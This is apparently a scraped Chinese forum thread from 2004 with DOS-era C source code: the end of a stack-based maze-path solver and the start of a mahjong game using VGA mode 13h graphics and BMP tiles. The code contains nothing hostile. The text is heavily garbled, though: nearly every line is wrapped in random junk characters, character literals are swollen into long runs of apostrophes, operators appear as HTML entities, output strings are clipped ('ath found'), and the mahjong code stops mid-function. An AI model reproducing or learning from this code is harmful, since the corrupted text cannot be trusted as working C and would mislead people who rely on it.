( O7 V1 u, m- v6 T7 o& |! a3 }/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */# {; Q2 k. e8 ~% r! T  R
} /* MarkPrint */% O2 J" U+ m, D- b5 O; i: `6 }
void FootPrint(PosType curpos)
- M9 K5 _' O% t  N  f+ p/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */0 V- Z) ?# d1 {/ u( w
{+ A  B7 [% p& H& |( j& {2 q  X
maze[curpos.x][curpos.y].foot=1;4 @* M5 e8 o- k4 q5 j
} /* FootPrint */
+ X2 L5 ~* g. }. y" dPosType NextPos(PosType seat,int di)& D: Y+ H" ^* ^& K; }, n
{$ F+ y* O6 a& A4 e3 j
switch(di)
* v& I" P5 \# P! I{
: t: G( u/ N/ Z! j+ m) n& _0 tcase 1: seat.y++; return seat; /* Eastward */
1 S2 }% M' x0 F( hcase 2: seat.x++; return seat; /* Southward */9 x( a/ U4 B' w3 o# @, ^) _" U
case 3: seat.y--; return seat; /* Westward */6 b: [% g# _1 y3 ?" S* J/ E: R
case 4: seat.x--; return seat; /* Northward */3 ?8 |# \9 `2 N  y% A2 @; g2 B
default: seat.x=0; seat.y=0; return seat;
( B6 q6 Z* D8 Q4 A$ ]/ e9 l}" k) N. [/ A" n8 z* W  ~
} /* NextPos */
5 C, Y5 G9 P$ R0 G0 k, O& Y! D
0 ]2 _% A; V+ P$ i) e! z& B/* The key to the program. */3 y0 W4 h  M) G6 W- @  q
/* Pre: The maze array &amp; the startplace &amp; the endplace., F- [' m; h4 M+ D8 z! Y# q
Post: Find the one traverse of the maze and perform the mazepath.$ N% c; {" {7 `& R3 d
Uses: The ADT stack class.
* W1 }6 c' s6 G# w/ g5 j) h*/  I7 U; n6 {2 W2 t. F
Status MazePath(PosType start,PosType end)
6 {- T) K/ H$ K{
- z' K6 X3 X' Q! l6 R6 b4 oPosType curpos;
' b/ q- L! S5 `6 g! Eint curstep;4 A- V5 M, T( S$ G! B& \1 V/ B3 @. ]
SElemType e;2 R* c; ?( Y! V0 M( g( i- T
Stack *s,stack;" t& B  N4 E, G: B
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));+ B+ d$ B) R" S  L' R# l" u" `
if(!stack.base) Error("Overflow");  i. ^: {' v5 k0 [( X
stack.top=stack.base;
% f9 y3 M. Y: L7 s" K2 qstack.stacksize=STACK_INIT_SIZE;
/ ^6 |( j# P# Z6 b. e2 R3 L, cs=&amp;stack;
; y5 @. k" T# R3 Acurpos=start;
) Y5 o- ?$ t4 m: p( s9 Icurstep=1;
& R5 a# g+ K: {! g8 \" G' X7 ]do
) {# d) s( Y0 F' J{
1 a1 i( v2 H4 K, v/ K+ gif(Pass(curpos))& k; b  Q6 X, y
{8 G' k& Q+ J/ f* f+ T
FootPrint(curpos);
# {" H9 K" f, Ee.ord=curstep; e.seat=curpos; e.di=1;! a* @1 P! W0 {; Y- Q
gotoxy((curpos.y+1)*2,curpos.x+2);5 x# u( V6 t& S4 q
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');, j: z& g5 U. f8 Z& F
delay(8000); /* pospone time. */* o9 r' A$ s" I! H! `" |+ U( ~$ y
Push(s,e);
( Z0 U9 r1 @% g5 x. u* X+ ~if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
9 Q; ~( X* ~$ [' B' t, h9 o! Z{
7 ?  X' {! a) C5 p0 ?# P% [DestroyStack(s);( n6 Z. [' _- Q6 d! C
return TRUE;
7 L4 f2 w8 F1 p/ _4 U9 M+ h& a}
$ @+ w6 h' t8 |curpos=NextPos(curpos,1); /* Try next position. */+ [/ d! I- |# u6 ?8 y
curstep++;( a1 w0 S' j, e6 |2 N* P* m* W. d7 Z
}  |8 C2 _+ H/ k( h6 {* \
else, A# ?  A' E- j0 V( U  L
{* H, Q* o6 K0 A' A( Q) X) X# U
if(!StackEmpty(s))
! F% i" Y5 P1 e9 B( a, f# ]{
$ u  Z. ~' c, a/ z, }' d$ J! C) Be=Pop(s,e); /* Removed e from s. */) h/ c3 X8 ?, p9 t6 E) X
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked4 `/ g7 C8 n( y8 v; y' w+ N& V
and s is not empty. */
2 @# T" C+ p0 _) l5 D- v{
4 r% g& C# R0 y) B9 U5 {2 ^! Y7 UMarkPrint(e.seat);8 u# a( L6 B- d/ m* \, e% e
gotoxy((e.seat.y+1)*2,e.seat.x+2);: L" ~" q, M2 `. @( f' ]$ y; a8 B) D
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');' l, G) L: O$ ^& \' t; m
delay(8000); /* Pospone time. */& F4 Q5 o  e7 E6 S3 ]7 O! U
gotoxy((e.seat.y+1)*2,e.seat.x+2);
8 v. J. B4 ^: a+ lputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');0 o# s' a% y5 w" N6 F- x
e=Pop(s,e); /* Remove e from s. */
5 Y3 n* a1 Q, Y: N( l0 Pcurstep--;
, `) ~* K  a7 i; I" I2 H}9 E  H$ `7 f7 {, K' ?& n0 D
if(e.di&lt;4) /* The current position hasnot been checked. */
3 m, }" k- N, ]( K; t3 K, P{9 r  ]7 u  O  r6 F
e.di++;
' ]3 ?+ p/ ^; c/ A5 TPush(s,e); /* Insert e into s. */5 E% r+ o0 c2 G6 Y
curpos=NextPos(e.seat,e.di); /* Try next position. */" m+ r: A5 ^, F8 Q3 L; V
}
5 W9 n6 A' q' X3 Z( Q8 o" r}1 {# y  ]9 E0 |6 d, Y$ m. \
}7 D1 d7 u+ k! _6 u3 E, M5 ^0 R! ?
}) n5 R0 p/ x0 o0 a  U5 B# o
while(!StackEmpty(s));0 r- I; c8 Y. K/ C8 W! y
DestroyStack(s);5 ~1 R0 y! [0 |" s6 \. h$ X
return FALSE;' K. b& V/ U, k
} /* MazePath */
8 m+ d7 c: U1 S- E) _# Ivoid main()
0 o* f7 F( `& w8 p{2 F9 ?2 i8 o& M9 _! W: V* M6 p" J
PosType start,end;
! G0 T' q3 m( ^CreatMaze();
$ p0 E; U/ u+ ~% R% @, d2 d7 `start.x=StartPlace.y;
9 {8 v1 h( k5 r7 {; j9 o+ Sstart.y=StartPlace.x;3 o8 D1 @" ^7 V' Q' s2 t; \
end.x=EndPlace.y;
- l/ Q7 j+ K. N; o/ ]end.y=EndPlace.x;
+ @, \1 G/ U8 _6 N+ a2 R  `if(MazePath(start,end))
" a* p; S: X& X9 A6 G! A{
9 H# ]9 c6 l. D0 D, v, r7 v  cgotoxy(2,22);
. G- d" Q9 L2 f; d4 `: r( jprintf("ath found\n");$ E8 r/ z, p/ g' e6 p
}" F. k3 C3 i: e8 {4 L
else
7 ^0 O6 I+ D) h5 ^  M& O  i" V{
: |* E$ f1 m' d, R) |8 Lgotoxy(2,22);
/ v6 y6 c4 D8 p: {2 a& H1 Xprintf("ath not found\n");
; R% k) k- K5 t  }- c4 @3 k6 Z}  f( L& J0 S! J7 X
getch();' h4 d& c0 [  M, X- |1 G% D
clrscr();5 i+ B" U: r2 @5 u- n! t) b& Q
} </P></DIV>
作者: 韩冰    时间: 2004-10-4 02:36
<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
/ e# S+ _; Y: N0 }6 O/*天宇软件
7 d  x. Z9 t& [% ^9 ]; U: B作者:上海黑暗之龙
' `! u/ ]: k! W& Z- u2002/10/30
7 z. N$ j$ h6 s8 k4 Z麻将原代码*/
& t4 e' w1 v1 D8 d#include "dos.h"
- C4 `  R: r* q5 d& J, E#include "stdio.h"
# o0 g5 O0 q9 h: x#include "graphics.h"" ~& d( \0 H5 ?2 @3 s
#include "bios.h"$ h1 i( P& M* q# w
#include "conio.h"
3 a+ }. x( r! P" m. d, J#include "stdlib.h", A5 ?1 N/ p/ _+ M) p: P* G
unsigned char far *video_buffer=(char far *)0xA0000000L;8 ~: W# b* `+ g
#define VGA256 0x13 /*图形模式13h*/
# Z* I) N  ]! _$ p" _7 c#define TEXT_MODE 0x03 /*普通文本模式*/
, p/ b! l: |  R4 J#define SETVGA Set_Video_Mode(VGA256)
$ z2 C2 D7 ]7 {0 n$ H1 O8 l7 H  k#define OUTVGA Set_Video_Mode(TEXT_MODE)
2 P6 R& k. d0 ]* t0 v#define BYTE unsigned char
% [/ f/ Z" [* e& Z6 ?' h' j! K) V#define WORD unsigned int
- `9 ]* h( S& p9 k3 C! k#define DWORD unsigned int, `$ c% P5 r6 D( Y) a% X
#define ESC 283  J- A3 m- m, F' X. k
#define LEFT 19200
& y, x2 m- C: |& s5 p# `#define RIGHT 19712
& H* Z- n: |9 j6 o! S#define H 9064
2 [$ }* E( `. W#define ENTER 7181, Q( t# t. h' ]: d8 c) B" y3 Z4 x& {# c
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
7 A0 E& k. V/ Q) y8 K/ ~6 k* m, ~int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;- M% _8 f. {6 V6 U
struct chi# n  W1 r# x2 z& i7 H: t# P
{! }- g$ Q7 i6 _6 Z/ `: j
int lg;
" [3 }! g& y) b7 ^; E2 i% hint lgg;) J# V" e: J$ F
}ch[13];+ Y: K# c4 P$ K6 N  D7 u$ B! @: T
struct mj
( L- P$ u  A( \" L) N" G{ char *name; /*名字*/1 r2 {/ @7 Z/ {0 O9 M
int data1; /*是否已出,无用了*/- t, P* n6 Z4 {- U/ F' p4 j& i) x
int data2; /*是否在手中,1为自己,2为对方*/0 |5 c0 q, i( F* U# |
int number; /*同一个花色的第几张,共4张*/
( a1 f$ ~- ~, Q& v1 D9 z1 `}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,* @$ y0 ]( t) H/ a* F. y
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,3 c% h; f  ~* J3 p) k
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,* N5 l3 E/ b6 R5 T1 j$ x" T
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
5 C& T6 a3 u% B"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
8 f3 \$ h5 ~8 C( l3 @"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
+ v" M$ t: l2 a0 ^, G"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,3 _" }9 |; c6 p" U
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,) }! @7 T! v, ]7 V5 k; L8 u( B
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
0 I4 ]$ g0 |2 {4 H  ]0 _2 ?"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
& H0 c& j6 Z$ w$ q/ B# h"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
3 {1 a) w, m1 f1 {# X* N6 f/ [5 k"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,' ^/ S" l- [8 @  s& ~- z
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,% }8 T" h: ^2 q8 J: y( P+ S
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,4 r/ v7 O+ L  d" M/ @( [
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,, U2 y$ `9 V* r, i* E# m
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,% G$ r& E% ^0 ?  U
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
/ c9 ^7 J: l" Q; f0 M& ?9 O"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
2 Z% }( b6 f6 v; L/ b"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
) s( Q# j* Z- [8 U" P! g8 K# ^"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,9 w2 t8 r2 V- Q$ ], L0 P+ O- A
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,2 b/ O/ B* e0 J) h. Y2 R8 g' v
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,. d5 `# L) j9 G0 k, Q
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,8 M! e5 Z/ v7 n7 O, v
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,3 q2 C  `  ]$ q; H0 d+ M
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,0 S' Z# d% h. z  z. ~: K
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,' O  k( z0 |" w' _: g0 M% a% M
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,7 P3 N9 u$ L4 `, ^) c9 l
"34.bmp"};
( [; z& s0 b: astruct every! b0 A9 [" a! ^. O  A4 [
{ int *k; /*名字*/
: D8 `* t  U, S, E; Dint oneorfour; /*同一张牌的第几张*/$ O6 a( \! T2 k, P
int number; /*第几张牌136*/9 k6 e, c; p0 N# X: D
int p;1 q) a. }1 L: _
int g;
( U: \- a9 i8 p8 t" D5 \4 Vint c;- ~: a: K  W; i$ s! D1 w$ g
int d[2];, |' w7 @% H/ S1 R/ W3 n
};
. ^; c: C- X$ j5 rstruct me
7 d7 W- ]( F6 g* X3 y. {! ~{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/7 y0 Z: e, M3 o/ V/ T
int p; /*乓对方*/$ X7 t$ r7 @: I% H' m% f
int c; /*吃对方*/( e5 Y% f: [& o3 R* W
int g; /*杠*/
3 m- S/ q6 G$ C  ]5 Z8 _4 E2 V2 e( X% q, T' C
struct every pp[14]; /*存放手上的牌*/2 C+ k5 l% m! ]+ y4 M% M- R
}me;
  j0 Y  m3 A' i+ B: Q9 Estruct computer
) q; l$ G0 Z& b5 R  N, b9 l- ?7 s{ int m;
& U7 R2 a0 N, ^% x7 sint p;
) Z$ w4 e6 w: r/ K6 xint c;
4 s1 D# G! A0 A9 M2 C5 C# hint g;
1 M' Q: {9 G  |# R- s% M9 K2 Sstruct every pp[14];% P5 z0 r1 J* p# ?* R
}computer,comp;
3 X; V2 ?; z, X( t' x9 w; B3 _. L* y; a
/* 设置调色板 */
7 d$ o# Q% _4 [- g% L. @  hvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b): g% J( @" Q5 C: G2 h! \' r6 J
{
/ q' ]9 L9 T8 j5 w  ^' youtportb(0x3c8,Color); /*0x3c8写端口 写色号*/
9 P4 u6 \& }- _. qoutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/" O# h, a) c; O
outportb(0x3c9,g);( p# D; Q) i2 w6 |5 z3 B
outportb(0x3c9,b);
: L: Y( B! u+ U% f  m}
' n3 F- d0 q. @/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
8 m% t; s% q3 C! m% V2 p/* 设置显示模式的函数 */
1 i3 I' h1 ~0 I1 G1 Avoid Set_Video_Mode(int mode)6 @% \7 h+ C0 [) ~/ n2 o
{! F7 W( |+ e  t5 q$ v1 o1 z6 @8 T
union REGS inregs,outregs; /*定义输入和返回寄存器*/
( w6 Q1 o- Q9 _5 kinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/1 O- x, Y3 W4 j% y5 t9 d
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/% Y, _5 A# v9 o: v. ?( ^7 J) X! t
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/. E5 _7 [$ E5 ~6 j; k# k: @* l
}! R3 l! y/ e7 v0 J& Q; J
void v_line(int y0,int y1,int x,unsigned int color)! j0 k( ^0 z* r/ y. ]! |
{ unsigned int address,n,temp;0 n# Y. s5 K# ^- O9 a6 |
if(y0&gt;y1)( u5 t8 |/ Z) r' ]/ E" q% N
{" J; Y* H; u9 `5 |1 q
temp=y1;
% K5 }& w8 _; Ty1=y0;
% l3 _4 W  M. P' cy0=temp;; e: y! Q5 v. o# F( M% K
}- G/ j* [% O. l! {) T( @3 V
address=320*y0+x;
9 G7 H( ^* c; E# [6 `. rfor(n=0;n&lt;=y1-y0;n++)
6 d: M7 i  `! S2 S2 M- i; k/ y{
, O3 r! x6 u) X6 Z: f3 G7 Gvideo_buffer[address]=color;
& S' `% q" W. c# p3 V4 Faddress+=320;
5 h5 [/ M7 [: k' ~( a7 X3 j}
0 h8 }& I7 V: B' k}
! f: `; q3 Q" U/ |void h_line(int x0,int x1,int y,unsigned int color)
, }( G5 B" \5 O6 v! S$ d{ unsigned int address,n,temp;
  @, N: v8 k, u  d9 }- lif(x0&gt;x1)
7 ^$ x1 a1 D* ~- f' a{
0 ^4 ?6 R2 X7 z- n( T. Jtemp=x1;
) `& U8 o. \( P( ]0 xx1=x0;
1 I; `: e. Y4 X0 r' Kx0=temp;
3 U2 c. _8 E& G8 \  F}8 a: w* w" w5 c; p. N' M
address=320*y+x0;; U' {. o% Q2 u
for(n=0;n&lt;=x1-x0;n++)0 o  L# J. A$ N5 Z8 K
{
# q  M% p: m8 E7 B( W1 ]video_buffer[address]=color;  p0 x& E4 ]9 o# O; M4 o+ V! a
address+=1;% K. a# t4 C$ j) N, t6 }( ~
}
8 Y9 e4 G  K( P( U}
3 w! B& B: M6 l4 d( S0 Bvoid p_pixel(int x,int y,unsigned int color)$ H. A5 w/ U6 u" _
{ video_buffer[y*320+x]=color;
( ^  L/ T' N/ A6 w- p) U}
1 f0 Z6 B# k, Y" Qvoid s_square(int x,int y,int side,int color). @* ~7 [3 u+ M. e: H
{
- M- X9 J% J* h! o- z6 n# zh_line(x,x+side,y,color);
0 k0 Z& A" t% O2 w& w2 b* H' xh_line(x,x+side,y+side,color);
6 j1 v+ z7 t6 A/ _6 a5 B- ~v_line(y,y+side,x,color);8 Y* D4 Y, h& E9 v- }7 a1 t# h9 Y
v_line(y,y+side,x+side,color);9 B- \) V4 P6 \- m4 t' b
}( l. u8 D) [* T" D0 N
void r_rectangle(int x1,int y1,int x2,int y2,int color)
( K% W- f2 n6 M+ R{
+ B1 {* v! l9 k: _! @2 H$ N% O, uh_line(x1,x2,y1,color);+ y3 v* h- l' r; ~, A
h_line(x1,x2,y2,color);0 w- R! D0 ?+ r& W% T* R3 o
v_line(y1,y2,x1,color);- `! b0 W; @3 _
v_line(y1,y2,x2,color);# E  c1 [& V! h
}, Y5 I# h  x/ y' z$ R' i* i. A
void fillRectangle(int x1,int y1,int x2,int y2,int color). B/ g$ s0 ~" W
{
3 t. r+ z8 `$ E* {3 {! [" pint i;$ C. k7 W3 A. w7 b
for(i=y1;i&lt;=y2;i++)
( g: z2 u8 z) R{
: l2 C, F6 \8 M$ Zh_line(x1,x2,i,color);: O( d+ S$ a( @9 b5 Z( X1 C8 Q
}9 K0 B3 b' L7 @" V! h/ K- z2 V
}  T4 {( d! S% B2 M9 ?2 s: E
void showbmp(int l). b9 j) S% w( @( l$ d) @
{ FILE *bmp;9 d# m+ t  Z; K: D3 j4 A6 L" _
int i,x,y;9 E) q0 V& s# ]5 p
BYTE palette[256][3];& e2 e; @( N" f; {
bmp=fopen(me.pp[l].k,"rb");5 ~# Y  C* K1 q4 ?# K4 F
fseek(bmp,54,SEEK_SET);
! Z* R2 _( X& `  S# k6 X& hfor(i=0;i&lt;256;i++)% Q4 j: k- F/ a5 G9 I0 C! ?' c  F
{
9 j1 W9 F" ?" |* Y  }palette[2]=fgetc(bmp)&gt;&gt;2;( W0 e0 g5 P2 j' F; A
palette[1]=fgetc(bmp)&gt;&gt;2;+ l* }( @* `$ l; |: ^; s  F# I5 \" b
palette[0]=fgetc(bmp)&gt;&gt;2;
! Z5 H7 ?0 M) Xfgetc(bmp);
, d" l9 f* X' S7 Q4 F) HSet_Palette(i,palette[0],palette[1],palette[2]);* K( L. d! R% z+ |# T) f; n! f8 g- L
}
. Y) _7 s# `. t" S3 J4 m6 }for (y=0;y&lt;30;y++)7 S/ h* G1 g2 V3 @) h3 y2 }
for(x=0;x&lt;20;x++)% |1 p+ A( v" I1 ]
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
- D% {$ ]+ q/ D* Dfclose(bmp);" {$ \' l2 P* |7 o4 ?( i; W2 Y/ W1 }
}
# @! I* w0 L6 h. n/ v% Ivoid showbmpd(int l)
' x* L2 c. x5 ^8 R{ FILE *bmp;
5 S/ u& {9 N6 t+ Q% P' ^# s- kint i,x,y;
( @1 x/ W- a. K1 g8 A. I- W, hBYTE palette[256][3];+ c. i3 `5 ^5 E8 I7 g" i
bmp=fopen(me.pp[l].k,"rb");6 W) D7 A% l) k8 [4 H* W. S
fseek(bmp,54,SEEK_SET);" C3 P; S% L5 A1 L) Y' b# P
for(i=0;i&lt;256;i++)2 D" B! b. c$ p5 T$ g$ T, x
{
7 d  `* L3 \3 g( A" `, xpalette[2]=fgetc(bmp)&gt;&gt;2;) H1 J3 E1 B0 l) v2 y/ s- y" d* h% _
palette[1]=fgetc(bmp)&gt;&gt;2;
7 z" O" `# W2 E& n9 Kpalette[0]=fgetc(bmp)&gt;&gt;2;2 d5 O0 V* z2 a* o
fgetc(bmp);" T$ X, Q( h( P6 @3 @/ d* L$ W8 }
Set_Palette(i,palette[0],palette[1],palette[2]);
& ]( {+ M4 U# Y$ M( C& _5 \1 u2 |* _}7 ^/ O0 Q$ d' ]2 q+ b- W: p6 d
for (y=0;y&lt;30;y++)
- _6 `; l4 t$ z5 }5 e' Q/ Afor(x=0;x&lt;20;x++)
  y5 r; W( f4 u( f- Y/ U( S. Spokeb(0xa000,y*320+x+zyy,fgetc(bmp));* u% Q5 s/ L1 h4 C* p. ]* v8 M2 s
fclose(bmp);% i- p3 ~' \( |' V/ A5 v% Q9 ]
}
3 G+ j. h" u4 F3 T1 `% L+ E) {( B6 bvoid showybmp(int ll)7 z, i6 F8 x( _
{ FILE *bmp;
. {9 w1 J' v( Z4 Tint i,x,y;. @* D  V0 j! d
BYTE palette[256][3];7 V& T6 L4 D* \# [; ]2 u3 _3 ]$ B
bmp=fopen(computer.pp[ll].k,"rb");
. }  i( s5 v/ x* c! ffseek(bmp,54,SEEK_SET);- L, }1 `2 x9 F3 _5 B
for(i=0;i&lt;256;i++), E9 g( Q& p# s0 c" @
{! M; O4 o9 x. o! y& w+ u* Q$ L
palette[2]=fgetc(bmp)&gt;&gt;2;
  G& J$ m2 k+ hpalette[1]=fgetc(bmp)&gt;&gt;2;6 {3 {7 w# p( G4 n
palette[0]=fgetc(bmp)&gt;&gt;2;
  E( @! K( L3 \& ufgetc(bmp);
' r; n9 K2 g) R3 V) S7 X8 E8 TSet_Palette(i,palette[0],palette[1],palette[2]);
; M9 h, j& v" i- A& j}1 J* w# t# B+ T
for (y=0;y&lt;30;y++)" |" T, D7 B: `2 {5 W8 Y
for(x=0;x&lt;20;x++)/ W8 ]9 Z; u' b1 K6 n
pokeb(0xa000,y*320+x+zy,fgetc(bmp));% m. B: \  R" V" n% ~& ~
fclose(bmp);0 T: N. M5 e! k8 [
}& I* r+ l- i2 R2 g( T+ b' R" b3 d
void showcbmp(int ll)$ Z5 x. K/ n5 J% M5 W
{ FILE *bmp;- I# f# L& b4 g. I9 B! @1 C) K
int i,x,y;
( H" T5 y! m/ `7 L. ^6 u' zBYTE palette[256][3];
$ {! i7 a! ~/ Q" t% dbmp=fopen(computer.pp[ll].k,"rb");& R1 [5 v: c0 U
fseek(bmp,54,SEEK_SET);" h7 |/ B" O& D6 ~$ Y) R  v, x' M
for(i=0;i&lt;256;i++)
. v- ^" e  Q% i) a4 @{
* _- k8 z/ q, i$ I; \; Hpalette[2]=fgetc(bmp)&gt;&gt;2;  g! M5 o1 |5 F5 Z5 r9 [
palette[1]=fgetc(bmp)&gt;&gt;2;& Y) L- t2 d* O2 t
palette[0]=fgetc(bmp)&gt;&gt;2;+ f8 C2 V0 B2 R0 D1 C3 W
fgetc(bmp);
3 r0 w+ _/ L/ a: t3 Z5 R  ySet_Palette(i,palette[0],palette[1],palette[2]);
! v0 k; {' e% d- `5 q7 B}( [$ o; m- x0 d! r. K) P
for (y=0;y&lt;30;y++)  b( T' @' h( X' u
for(x=0;x&lt;20;x++)# C# o4 \1 T; w' M6 G
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
6 P9 y" U7 O) l5 {) Y0 F6 ~fclose(bmp);; V  F! y8 m9 |2 T
}; l" n. w# H# I' }) F9 U
void bmpp(int number)
' R. g" A0 m8 h{ FILE *bmp;
" u) \+ C: Z( [5 m1 Kint i,x,y;0 v* M2 S2 W1 o* h- f
BYTE palette[256][3];
4 p" k4 k/ y: i$ @0 n+ F1 N# qbmp=fopen(m[number].name,"rb");5 B2 K+ w( t& n% K' T5 P! m
fseek(bmp,54,SEEK_SET);9 ?" F0 i( m+ r4 O+ Q* @  ?
for(i=0;i&lt;256;i++)5 b2 i* a1 |5 t# K8 m0 T6 L
{
( j$ Z9 e/ W0 S* T2 |  z! I& Lpalette[2]=fgetc(bmp)&gt;&gt;2;1 M3 u' ~& P+ a/ I
palette[1]=fgetc(bmp)&gt;&gt;2;1 T% `7 Q; K, m# u8 t3 r( o
palette[0]=fgetc(bmp)&gt;&gt;2;
6 z4 G: d0 P5 e# u  p) {fgetc(bmp);
7 H' A  f* d; j% n8 ^5 aSet_Palette(i,palette[0],palette[1],palette[2]);
/ b7 q. [& h4 I# W4 u6 i4 f}
- A; {/ _' E7 G3 S+ Kfor (y=0;y&lt;30;y++)- ]& t* Q0 X" P1 |' o' U
for(x=0;x&lt;20;x++)
/ Y. c5 r; v! R* x5 y* ppokeb(0xa000,y*320+x+zl,fgetc(bmp));$ n; b7 y; I+ q& s
fclose(bmp);
7 F7 b: f+ W4 H& Z! v/ M2 t9 ]}5 x8 b* K" e" b, v
void comlipai() /*整理电脑的牌*/
' ?( T& g8 f4 j1 Y{ int n,j,u;9 e9 M# r/ Z: v! r) k# [1 @& R
int *lingshi;
$ g% r% y7 Z$ I8 U+ V/ B( Yfor(n=0;n&lt;computer.m;n++)( R1 K% C* f* A
for(j=n;j&lt;computer.m;j++)9 f- X; i" P$ @6 N. d
{, A0 d; |, ?- T# E0 c
if(computer.pp[n].number&gt;computer.pp[j+1].number)
) v3 m" n) H" h# ~4 q4 A# U* t+ \{- ~3 L+ h. {5 V- L( E! h) G8 s
lingshi=computer.pp[n].k;& t4 r3 x5 R1 K+ o3 t: D6 w$ i
computer.pp[n].k=computer.pp[j+1].k;
/ {/ B: `, S, J0 S8 F9 ~computer.pp[j+1].k=lingshi;% P* j4 r3 \4 F( O( R9 O
u=computer.pp[n].oneorfour;/ F: W/ u/ I1 V! W, A5 t- D
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;$ J$ N) s/ O1 [- Y+ W
computer.pp[j+1].oneorfour=u;2 u7 o  q- Q; U( ^
u=computer.pp[n].number;3 @- h* Z4 y" ?
computer.pp[n].number=computer.pp[j+1].number;
& _3 D' p3 @- _/ ^computer.pp[j+1].number=u;
% E  x& p  G/ l}
4 [+ O5 U4 Y: k$ ]else$ w- Z  w7 k* K( k# B' }/ `
if(computer.pp[n].number==computer.pp[j+1].number)
/ _" X/ p" I6 s% j2 |" \' A' F8 q! t( ~if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)$ G# A; r1 V2 r
{
  B0 V) y2 C0 o1 X- Clingshi=computer.pp[n].k;
' _2 y6 A* z* v0 d3 Q& q6 s: `computer.pp[n].k=computer.pp[j+1].k;( N: D8 I; E! z9 O
computer.pp[j+1].k=lingshi;
! K" h( g' a6 ou=computer.pp[n].oneorfour;
/ B& N# j9 r( x3 Xcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
0 t, Q, a2 L+ v; @  r$ f& A1 N$ icomputer.pp[j+1].oneorfour=u;( Y% a2 s, H" l, h3 Z* j2 \
u=computer.pp[n].number;
% w. H/ d7 P1 W1 l% ~6 W' Ucomputer.pp[n].number=computer.pp[j+1].number;8 N  ]$ H, E& m9 a9 w
